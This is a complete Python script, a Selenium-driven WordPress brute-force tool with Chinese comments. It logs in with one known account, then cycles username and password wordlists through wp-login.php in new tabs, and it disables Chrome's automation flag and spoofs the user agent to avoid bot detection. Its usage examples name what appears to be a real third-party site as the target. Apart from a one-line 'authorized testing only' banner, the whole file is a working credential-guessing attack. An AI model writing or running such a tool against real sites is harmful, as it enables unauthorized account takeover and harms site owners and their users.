#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
WordPress Selenium 爆破工具
策略：先登录正确账号，然后在标准WordPress页面测试其他账号
"""

import argparse
import time
import sys
import os
from datetime import datetime
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.common.exceptions import TimeoutException, NoSuchElementException
from webdriver_manager.chrome import ChromeDriverManager

# 设置Windows控制台UTF-8编码
if sys.platform == 'win32':
    import codecs
    sys.stdout = codecs.getwriter('utf-8')(sys.stdout.buffer, 'strict')
    sys.stderr = codecs.getwriter('utf-8')(sys.stderr.buffer, 'strict')
    os.environ['PYTHONIOENCODING'] = 'utf-8'

class Colors:
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'


class WPSeleniumBrute:
    """使用Selenium的WordPress爆破工具"""
    
    def __init__(self, target_url, initial_user, initial_pass, 
                 test_users, test_passwords, headless=False, delay=2, manual=False, stop_on_success=False):
        """
        初始化
        
        :param target_url: 目标URL
        :param initial_user: 初始登录用户名（已知正确的）
        :param initial_pass: 初始登录密码（已知正确的）
        :param test_users: 要测试的用户名列表
        :param test_passwords: 要测试的密码列表
        :param headless: 是否无头模式（默认False，因为需要手动验证）
        :param delay: 每次尝试的延迟
        :param manual: 是否手动模式（每步都需要确认）
        :param stop_on_success: 找到成功凭据后是否停止
        """
        self.target_url = target_url.rstrip('/')
        self.login_url = self.target_url + '/wp-login.php'
        self.initial_user = initial_user
        self.initial_pass = initial_pass
        self.test_users = test_users
        self.test_passwords = test_passwords
        self.headless = headless
        self.delay = delay
        self.manual = manual
        self.stop_on_success = stop_on_success
        self.success_results = []
        self.driver = None
        
    def setup_driver(self):
        """设置浏览器驱动"""
        print(f"{Colors.OKCYAN}[*] 步骤1: 初始化浏览器...{Colors.ENDC}")
        
        if self.manual:
            print(f"{Colors.WARNING}    即将启动Chrome浏览器{Colors.ENDC}")
            input(f"{Colors.WARNING}    按 Enter 继续...{Colors.ENDC}")
        
        chrome_options = Options()
        
        if self.headless:
            chrome_options.add_argument('--headless')
        
        # 其他选项
        chrome_options.add_argument('--disable-gpu')
        chrome_options.add_argument('--no-sandbox')
        chrome_options.add_argument('--disable-dev-shm-usage')
        chrome_options.add_argument('--disable-blink-features=AutomationControlled')
        chrome_options.add_argument('user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36')
        
        # 忽略SSL错误
        chrome_options.add_argument('--ignore-certificate-errors')
        chrome_options.add_argument('--ignore-ssl-errors')
        
        try:
            # 使用webdriver-manager自动下载和管理ChromeDriver
            print(f"{Colors.OKCYAN}    检查ChromeDriver...{Colors.ENDC}")
            service = Service(ChromeDriverManager().install())
            self.driver = webdriver.Chrome(service=service, options=chrome_options)
            self.driver.set_page_load_timeout(30)
            print(f"{Colors.OKGREEN}[✓] 浏览器启动成功{Colors.ENDC}\n")
            return True
        except Exception as e:
            print(f"{Colors.FAIL}[✗] 浏览器启动失败: {e}{Colors.ENDC}")
            print(f"{Colors.WARNING}[!] 请确保已安装Chrome浏览器{Colors.ENDC}")
            print(f"{Colors.WARNING}[!] 下载Chrome: https://www.google.com/chrome/{Colors.ENDC}")
            return False
    
    def close_popup(self):
        """尝试关闭弹窗"""
        try:
            print(f"{Colors.OKCYAN}    尝试关闭弹窗...{Colors.ENDC}")
            
            # 多种方式尝试关闭弹窗
            
            # 方法1：常见的关闭按钮
            close_selectors = [
                "button.close",
                "a.close", 
                "div.close",
                "span.close",
                "[class*='close']",
                "[id*='close']",
                "button[aria-label='Close']",
                "button[aria-label='关闭']",
                ".modal-close",
                ".popup-close",
                "svg[class*='close']",
                "[data-dismiss='modal']"
            ]
            
            for selector in close_selectors:
                try:
                    close_buttons = self.driver.find_elements(By.CSS_SELECTOR, selector)
                    for close_button in close_buttons:
                        if close_button.is_displayed() and close_button.is_enabled():
                            try:
                                close_button.click()
                                print(f"{Colors.OKGREEN}    ✓ 弹窗已关闭（选择器: {selector}）{Colors.ENDC}")
                                time.sleep(2)  # 等待弹窗动画完成
                                return True
                            except:
                                continue
                except:
                    continue
            
            # 方法2：尝试按ESC键
            try:
                from selenium.webdriver.common.keys import Keys
                body = self.driver.find_element(By.TAG_NAME, 'body')
                body.send_keys(Keys.ESCAPE)
                print(f"{Colors.OKGREEN}    ✓ 已发送ESC键{Colors.ENDC}")
                time.sleep(1)
                return True
            except:
                pass
            
            print(f"{Colors.WARNING}    未找到弹窗或已关闭{Colors.ENDC}")
            print(f"{Colors.WARNING}    提示：如果看到弹窗，请手动点击右上角X关闭{Colors.ENDC}")
            time.sleep(2)
            return False
            
        except Exception as e:
            print(f"{Colors.WARNING}    关闭弹窗时出错: {e}{Colors.ENDC}")
            return False
    
    def initial_login(self):
        """使用已知账号初始登录（通过任何可用的方式）"""
        print(f"{Colors.OKCYAN}[*] 步骤2: 使用已知账号登录...{Colors.ENDC}")
        print(f"{Colors.OKCYAN}    账号: {self.initial_user}{Colors.ENDC}")
        
        if self.manual:
            print(f"{Colors.WARNING}    即将访问登录页面并自动填写账号密码{Colors.ENDC}")
            print(f"{Colors.WARNING}    你需要手动点击登录按钮并完成验证{Colors.ENDC}")
            input(f"{Colors.WARNING}    按 Enter 继续...{Colors.ENDC}")
        
        try:
            # 方法1：先尝试访问wp-admin，看是否会跳转到登录页
            print(f"{Colors.OKCYAN}    尝试访问 wp-admin...{Colors.ENDC}")
            self.driver.get(self.target_url + '/wp-admin/')
            time.sleep(3)
            
            current_url = self.driver.current_url
            
            # 如果已经在wp-admin，说明已有session
            if 'wp-admin' in current_url and 'wp-login' not in current_url and 'user-sign' not in current_url:
                print(f"{Colors.OKGREEN}[✓] 已经登录！{Colors.ENDC}")
                return True
            
            # 尝试关闭可能的弹窗（多次尝试，确保关闭）
            time.sleep(2)
            self.close_popup()
            time.sleep(2)
            # 再次尝试（有些网站弹窗会延迟出现）
            self.close_popup()
            time.sleep(1)
            
            try:
                # 尝试标准WordPress登录表单
                username_field = self.driver.find_element(By.ID, 'user_login')
                password_field = self.driver.find_element(By.ID, 'user_pass')
                submit_button = self.driver.find_element(By.ID, 'wp-submit')
                
                print(f"{Colors.OKGREEN}    找到标准登录表单{Colors.ENDC}")
                
            except:
                # 如果找不到标准表单，尝试查找自定义表单
                print(f"{Colors.WARNING}    未找到标准表单，尝试查找自定义表单...{Colors.ENDC}")
                
                # 尝试查找常见的表单字段
                try:
                    # 可能是 name="log" 或其他
                    username_field = self.driver.find_element(By.NAME, 'log')
                    password_field = self.driver.find_element(By.NAME, 'pwd')
                    submit_button = self.driver.find_element(By.CSS_SELECTOR, 'input[type="submit"]')
                    print(f"{Colors.OKGREEN}    找到登录表单（log/pwd）{Colors.ENDC}")
                except:
                    # 尝试更通用的查找
                    username_field = self.driver.find_element(By.CSS_SELECTOR, 'input[type="text"], input[type="email"], input[name*="user"], input[name*="username"], input[id*="user"]')
                    password_field = self.driver.find_element(By.CSS_SELECTOR, 'input[type="password"]')
                    submit_button = self.driver.find_element(By.CSS_SELECTOR, 'button[type="submit"], input[type="submit"]')
                    print(f"{Colors.OKGREEN}    找到登录表单（通用查找）{Colors.ENDC}")
            
            # 填写表单（使用JavaScript，避免重复）
            print(f"{Colors.OKCYAN}    填写账号密码...{Colors.ENDC}")
            
            # 滚动到元素可见
            self.driver.execute_script("arguments[0].scrollIntoView(true);", username_field)
            time.sleep(0.5)
            
            # 只使用JavaScript填写（避免重复）
            self.driver.execute_script("arguments[0].value = '';", username_field)
            self.driver.execute_script(f"arguments[0].value = '{self.initial_user}';", username_field)
            
            # 滚动到密码框
            self.driver.execute_script("arguments[0].scrollIntoView(true);", password_field)
            time.sleep(0.5)
            
            # 填写密码
            self.driver.execute_script("arguments[0].value = '';", password_field)
            self.driver.execute_script(f"arguments[0].value = '{self.initial_pass}';", password_field)
            
            time.sleep(1)
            
            # 不要自动点击提交，让用户看到
            print(f"\n{Colors.WARNING}{'='*60}")
            print(f"{Colors.WARNING}重要提示：")
            print(f"{Colors.WARNING}1. 账号密码已自动填写")
            print(f"{Colors.WARNING}2. 请在浏览器中手动点击登录按钮")
            print(f"{Colors.WARNING}3. 完成滑动验证码（如果有）")
            print(f"{Colors.WARNING}4. 等待登录成功进入后台")
            print(f"{Colors.WARNING}5. 登录成功后，工具将自动继续...")
            print(f"{Colors.WARNING}{'='*60}{Colors.ENDC}\n")
            
            # 等待用户手动登录
            print(f"{Colors.OKCYAN}[*] 等待登录完成...{Colors.ENDC}")
            
            # 轮询检查是否登录成功（最多等待60秒）
            max_wait = 60
            wait_time = 0
            
            while wait_time < max_wait:
                time.sleep(2)
                wait_time += 2
                
                current_url = self.driver.current_url
                
                # 检查是否进入后台（wp-admin）
                if 'wp-admin' in current_url and 'wp-login' not in current_url and 'user-sign' not in current_url:
                    print(f"\n{Colors.OKGREEN}[✓] 检测到登录成功（进入后台）！{Colors.ENDC}")
                    print(f"{Colors.OKCYAN}    当前页面: {current_url}{Colors.ENDC}\n")
                    return True
                
                # 或者检查是否回到首页（说明已登录）
                if (current_url == self.target_url + '/' or current_url == self.target_url) and wait_time > 10:
                    print(f"\n{Colors.OKGREEN}[✓] 检测到登录成功（跳转到首页）！{Colors.ENDC}")
                    print(f"{Colors.OKCYAN}    当前页面: {current_url}{Colors.ENDC}")
                    
                    # 简单验证：检查页面是否有登出链接或用户信息
                    page_source = self.driver.page_source.lower()
                    
                    if 'logout' in page_source or '登出' in page_source or '退出' in page_source or 'signout' in page_source:
                        print(f"{Colors.OKGREEN}[✓] 确认已登录（页面包含登出链接）！{Colors.ENDC}\n")
                        return True
                    else:
                        # 如果没有明确登出标志，等待超过30秒就认为成功
                        if wait_time > 30:
                            print(f"{Colors.OKGREEN}[✓] 假定已登录（等待超过30秒）！{Colors.ENDC}\n")
                            return True
                
                # 显示等待进度
                if wait_time % 5 == 0:
                    print(f"{Colors.OKCYAN}    等待中... ({wait_time}s / {max_wait}s){Colors.ENDC}")
            
            # 超时
            print(f"\n{Colors.FAIL}[✗] 等待超时，未检测到登录成功{Colors.ENDC}")
            print(f"{Colors.WARNING}[!] 当前页面: {self.driver.current_url}{Colors.ENDC}")
            
            # 询问用户是否已经登录
            print(f"\n{Colors.WARNING}如果您已经登录成功，请按 Enter 继续...{Colors.ENDC}")
            print(f"{Colors.WARNING}如果登录失败，请按 Ctrl+C 退出{Colors.ENDC}")
            
            try:
                input()
                return True
            except:
                return False
                
        except Exception as e:
            print(f"{Colors.FAIL}[✗] 初始登录出错: {e}{Colors.ENDC}")
            print(f"{Colors.WARNING}[!] 当前URL: {self.driver.current_url}{Colors.ENDC}")
            return False
    
    def logout(self):
        """退出登录"""
        try:
            print(f"{Colors.OKCYAN}[*] 退出登录...{Colors.ENDC}")
            
            # 访问退出URL
            logout_url = self.target_url + '/wp-login.php?action=logout'
            self.driver.get(logout_url)
            time.sleep(1)
            
            # 确认退出
            try:
                confirm_link = self.driver.find_element(By.LINK_TEXT, 'log out')
                confirm_link.click()
                time.sleep(1)
                print(f"{Colors.OKGREEN}[✓] 已退出登录{Colors.ENDC}\n")
            except:
                # 可能已经退出或页面不同
                pass
            
            return True
            
        except Exception as e:
            print(f"{Colors.WARNING}[!] 退出登录时出错: {e}{Colors.ENDC}")
            return False
    
    def test_credentials_in_session(self, username, password):
        """在已登录状态下测试凭据（保持session）"""
        try:
            # 在已登录状态下访问登录页面
            # 关键：不能用普通的get方法，需要用action参数
            # 或者用新窗口/标签页
            
            # 方法1：使用JavaScript打开新标签页测试
            original_window = self.driver.current_window_handle
            
            # 在新标签页中打开登录页面
            self.driver.execute_script(f"window.open('{self.login_url}', '_blank');")
            time.sleep(0.5)
            
            # 切换到新标签页
            windows = self.driver.window_handles
            self.driver.switch_to.window(windows[-1])
            
            time.sleep(0.8 if self.delay < 2 else 1.5)
            
            # 尝试关闭可能的弹窗（首次可能还会有）
            self.close_popup()
            time.sleep(0.3 if self.delay < 2 else 0.5)
            
            # 检查是否能看到标准WordPress登录表单
            try:
                username_field = WebDriverWait(self.driver, 5).until(
                    EC.presence_of_element_located((By.ID, 'user_login'))
                )
                password_field = self.driver.find_element(By.ID, 'user_pass')
                
                # 填写表单
                username_field.clear()
                username_field.send_keys(username)
                
                password_field.clear()
                password_field.send_keys(password)
                
                # 提交
                submit_button = self.driver.find_element(By.ID, 'wp-submit')
                submit_button.click()
                
                # 快速模式：减少等待时间
                time.sleep(1 if self.delay < 2 else 2)
                
                # 判断结果
                current_url = self.driver.current_url
                page_source = self.driver.page_source.lower()
                
                success = False
                
                # 优先检查失败的明确标志
                if 'login_error' in page_source or 'incorrect' in page_source or 'wrong password' in page_source:
                    # 有明确的登录错误信息
                    success = False
                elif 'wp-login.php' in current_url:
                    # 还在登录页面，说明失败了
                    success = False
                # 检查成功的标志
                elif 'wp-admin' in current_url and 'wp-login.php' not in current_url:
                    # 标志1：跳转到wp-admin后台
                    success = True
                elif current_url == self.target_url + '/' or current_url == self.target_url:
                    # 标志2：跳转到首页（说明已登录）
                    success = True
                elif 'user-sign' not in current_url:
                    # 标志3：不在登录页面也不在自定义登录页
                    success = True
                
                # 关闭新标签页
                self.driver.close()
                
                # 切换回原始窗口
                self.driver.switch_to.window(original_window)
                
                return success
                
            except Exception as e:
                # 如果找不到登录表单，可能是被重定向了
                print(f"\n{Colors.WARNING}[!] 无法找到标准登录表单: {e}{Colors.ENDC}")
                
                # 关闭标签页
                try:
                    self.driver.close()
                    self.driver.switch_to.window(original_window)
                except:
                    pass
                
                return False
            
        except Exception as e:
            print(f"\n{Colors.WARNING}[!] 测试时出错: {e}{Colors.ENDC}")
            
            # 确保切换回原始窗口
            try:
                windows = self.driver.window_handles
                if len(windows) > 1:
                    self.driver.switch_to.window(windows[0])
            except:
                pass
            
            return False
    
    def brute_force_with_session(self):
        """在已登录状态下执行爆破"""
        print(f"{Colors.OKCYAN}[*] 步骤4: 开始爆破测试...{Colors.ENDC}")
        print(f"{Colors.OKCYAN}    策略: 保持初始登录，在标准WordPress页面测试{Colors.ENDC}")
        print(f"{Colors.OKCYAN}    用户名: {len(self.test_users)}个{Colors.ENDC}")
        print(f"{Colors.OKCYAN}    密码: {len(self.test_passwords)}个{Colors.ENDC}")
        print(f"{Colors.OKCYAN}    总尝试: {len(self.test_users) * len(self.test_passwords)}次{Colors.ENDC}")
        print(f"{Colors.OKCYAN}    延迟: {self.delay}秒/次{Colors.ENDC}\n")
        
        if self.manual:
            print(f"{Colors.WARNING}    即将开始批量测试账号密码{Colors.ENDC}")
            print(f"{Colors.WARNING}    你可以在浏览器中观察整个过程{Colors.ENDC}")
            input(f"{Colors.WARNING}    按 Enter 开始爆破...{Colors.ENDC}")
            print()
        
        total = len(self.test_users) * len(self.test_passwords)
        current = 0
        
        for username in self.test_users:
            for password in self.test_passwords:
                current += 1
                progress = (current / total) * 100
                
                print(f"\r{Colors.OKCYAN}[*] 进度: {progress:.1f}% ({current}/{total}) - 测试: {username}:{password[:10]}...{Colors.ENDC}", end='', flush=True)
                
                # 在已登录状态下测试凭据
                result = self.test_credentials_in_session(username, password)
                
                if result:
                    print(f"\n{Colors.OKGREEN}{'='*60}{Colors.ENDC}")
                    print(f"{Colors.OKGREEN}[✓] 找到有效凭据！{Colors.ENDC}")
                    print(f"{Colors.OKGREEN}    用户名: {username}{Colors.ENDC}")
                    print(f"{Colors.OKGREEN}    密码: {password}{Colors.ENDC}")
                    print(f"{Colors.OKGREEN}{'='*60}{Colors.ENDC}\n")
                    
                    self.success_results.append({
                        'username': username,
                        'password': password,
                        'time': datetime.now().strftime('%Y-%m-%d %H:%M:%S')
                    })
                    
                    # 如果设置了找到后停止
                    if self.stop_on_success:
                        print(f"{Colors.WARNING}[!] 已找到有效凭据，停止测试{Colors.ENDC}\n")
                        return
                    
                    # 手动模式下询问是否继续
                    if self.manual:
                        choice = input(f"{Colors.WARNING}是否继续测试其他凭据？(y/n): {Colors.ENDC}").lower().strip()
                        if choice != 'y' and choice != 'yes':
                            print(f"{Colors.WARNING}[!] 用户选择停止测试{Colors.ENDC}\n")
                            return
                
                time.sleep(self.delay)
        
        print("\n")
    
    def save_results(self):
        """保存结果"""
        if not self.success_results:
            return
        
        filename = f"wp_selenium_results_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
        
        try:
            with open(filename, 'w', encoding='utf-8') as f:
                f.write("WordPress Selenium 爆破结果\n")
                f.write(f"目标: {self.target_url}\n")
                f.write(f"时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write("="*60 + "\n\n")
                
                for result in self.success_results:
                    f.write(f"用户名: {result['username']}\n")
                    f.write(f"密码: {result['password']}\n")
                    f.write(f"发现时间: {result['time']}\n")
                    f.write("-"*60 + "\n")
            
            print(f"{Colors.OKGREEN}[✓] 结果已保存: {filename}{Colors.ENDC}")
        except Exception as e:
            print(f"{Colors.FAIL}[✗] 保存失败: {e}{Colors.ENDC}")
    
    def start(self):
        """开始执行"""
        print(f"""
{Colors.OKBLUE}╔══════════════════════════════════════════════════════════╗
║     WordPress Selenium 爆破工具 v2.0                     ║
║     策略：保持登录状态 → 标准页面爆破                    ║
╚══════════════════════════════════════════════════════════╝{Colors.ENDC}

{Colors.WARNING}[!] 警告：此工具仅用于授权的安全测试！{Colors.ENDC}

{Colors.OKCYAN}[*] 目标: {self.target_url}
[*] 初始账号: {self.initial_user}
[*] 测试账号: {len(self.test_users)}个
[*] 测试密码: {len(self.test_passwords)}个
[*] 开始时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{Colors.ENDC}
""")
        
        start_time = time.time()
        
        # 设置浏览器
        if not self.setup_driver():
            return
        
        try:
            # 初始登录
            if not self.initial_login():
                print(f"{Colors.FAIL}[✗] 无法使用初始账号登录，退出{Colors.ENDC}")
                return
            
            # 不退出登录，保持登录状态
            print(f"{Colors.OKGREEN}[✓] 保持登录状态，准备在标准页面测试其他账号{Colors.ENDC}\n")
            
            # 验证是否能在已登录状态下访问标准登录页面
            print(f"{Colors.OKCYAN}[*] 步骤3: 验证标准登录页面...{Colors.ENDC}")
            print(f"{Colors.OKCYAN}    在已登录状态下访问 wp-login.php{Colors.ENDC}")
            
            if self.manual:
                print(f"{Colors.WARNING}    即将访问 {self.login_url}{Colors.ENDC}")
                input(f"{Colors.WARNING}    按 Enter 继续...{Colors.ENDC}")
            
            # 在新标签页中测试
            original_window = self.driver.current_window_handle
            self.driver.execute_script(f"window.open('{self.login_url}', '_blank');")
            time.sleep(1)
            
            windows = self.driver.window_handles
            self.driver.switch_to.window(windows[-1])
            time.sleep(1)
            
            # 检查页面内容
            page_source = self.driver.page_source.lower()
            
            if 'user_login' in page_source or 'id="user_login"' in page_source:
                print(f"{Colors.OKGREEN}[✓] 确认可以访问标准WordPress登录页面！{Colors.ENDC}")
                
                # 关闭测试标签
                self.driver.close()
                self.driver.switch_to.window(original_window)
                
                # 开始爆破
                self.brute_force_with_session()
            else:
                print(f"{Colors.FAIL}[✗] 即使已登录，仍无法访问标准登录页面{Colors.ENDC}")
                print(f"{Colors.WARNING}[!] 当前页面: {self.driver.current_url}{Colors.ENDC}")
                
                # 关闭测试标签
                self.driver.close()
                self.driver.switch_to.window(original_window)
                
                return
            
            # 打印结果
            elapsed_time = time.time() - start_time
            
            print(f"{Colors.OKBLUE}╔══════════════════════════════════════════════════════════╗")
            print(f"║                    爆破完成                              ║")
            print(f"╚══════════════════════════════════════════════════════════╝{Colors.ENDC}\n")
            
            print(f"{Colors.OKCYAN}[*] 用时: {elapsed_time:.2f} 秒{Colors.ENDC}")
            
            if self.success_results:
                print(f"{Colors.OKGREEN}[✓] 找到 {len(self.success_results)} 组有效凭据：{Colors.ENDC}\n")
                
                for result in self.success_results:
                    print(f"{Colors.OKGREEN}    用户名: {result['username']}")
                    print(f"    密码: {result['password']}")
                    print(f"    时间: {result['time']}{Colors.ENDC}\n")
                
                self.save_results()
            else:
                print(f"{Colors.FAIL}[✗] 未找到有效凭据{Colors.ENDC}\n")
            
        finally:
            # 关闭浏览器
            if self.driver:
                print(f"{Colors.OKCYAN}[*] 关闭浏览器...{Colors.ENDC}")
                self.driver.quit()


def load_wordlist(filepath):
    """加载字典文件"""
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            return [line.strip() for line in f if line.strip()]
    except Exception as e:
        print(f"{Colors.FAIL}[✗] 读取文件错误: {e}{Colors.ENDC}")
        sys.exit(1)


def main():
    parser = argparse.ArgumentParser(
        description='WordPress Selenium 爆破工具',
        epilog='''
示例用法：
  # 基础用法
  python wp_selenium_brute.py -t https://yxsf.cc \\
      --init-user aacaac --init-pass asdasd \\
      -U usernames.txt -P passwords.txt
  
  # 显示浏览器窗口（非无头模式）
  python wp_selenium_brute.py -t https://yxsf.cc \\
      --init-user aacaac --init-pass asdasd \\
      -u admin -P passwords.txt \\
      --no-headless
  
  # 快速测试
  python wp_selenium_brute.py -t https://yxsf.cc \\
      --init-user aacaac --init-pass asdasd \\
      -u testuser -p testpass \\
      --no-headless -d 1

注意：需要先安装 selenium 和 ChromeDriver
    pip install selenium
        '''
    )
    
    parser.add_argument('-t', '--target', required=True, help='目标URL')
    parser.add_argument('--init-user', required=True, help='初始登录用户名（已知正确的）')
    parser.add_argument('--init-pass', required=True, help='初始登录密码（已知正确的）')
    parser.add_argument('-u', '--username', help='要测试的单个用户名')
    parser.add_argument('-U', '--username-file', help='要测试的用户名字典')
    parser.add_argument('-p', '--password', help='要测试的单个密码')
    parser.add_argument('-P', '--password-file', help='要测试的密码字典')
    parser.add_argument('--no-headless', action='store_true', help='显示浏览器窗口')
    parser.add_argument('-d', '--delay', type=float, default=2, help='每次尝试的延迟（秒，默认2）')
    parser.add_argument('-m', '--manual', action='store_true', help='手动模式（每个步骤需要手动确认）')
    parser.add_argument('--stop-on-success', action='store_true', help='找到有效凭据后立即停止')
    
    args = parser.parse_args()
    
    # 获取测试用户名
    if args.username:
        test_users = [args.username]
    elif args.username_file:
        test_users = load_wordlist(args.username_file)
    else:
        print(f"{Colors.FAIL}[✗] 必须指定测试用户名或用户名字典{Colors.ENDC}")
        sys.exit(1)
    
    # 获取测试密码
    if args.password:
        test_passwords = [args.password]
    elif args.password_file:
        test_passwords = load_wordlist(args.password_file)
    else:
        print(f"{Colors.FAIL}[✗] 必须指定测试密码或密码字典{Colors.ENDC}")
        sys.exit(1)
    
    # 创建爆破对象
    brute = WPSeleniumBrute(
        target_url=args.target,
        initial_user=args.init_user,
        initial_pass=args.init_pass,
        test_users=test_users,
        test_passwords=test_passwords,
        headless=not args.no_headless,
        delay=args.delay,
        manual=args.manual,
        stop_on_success=args.stop_on_success
    )
    
    try:
        brute.start()
    except KeyboardInterrupt:
        print(f"\n\n{Colors.WARNING}[!] 用户中断{Colors.ENDC}")
        if brute.driver:
            brute.driver.quit()
        sys.exit(0)


if __name__ == '__main__':
    main()

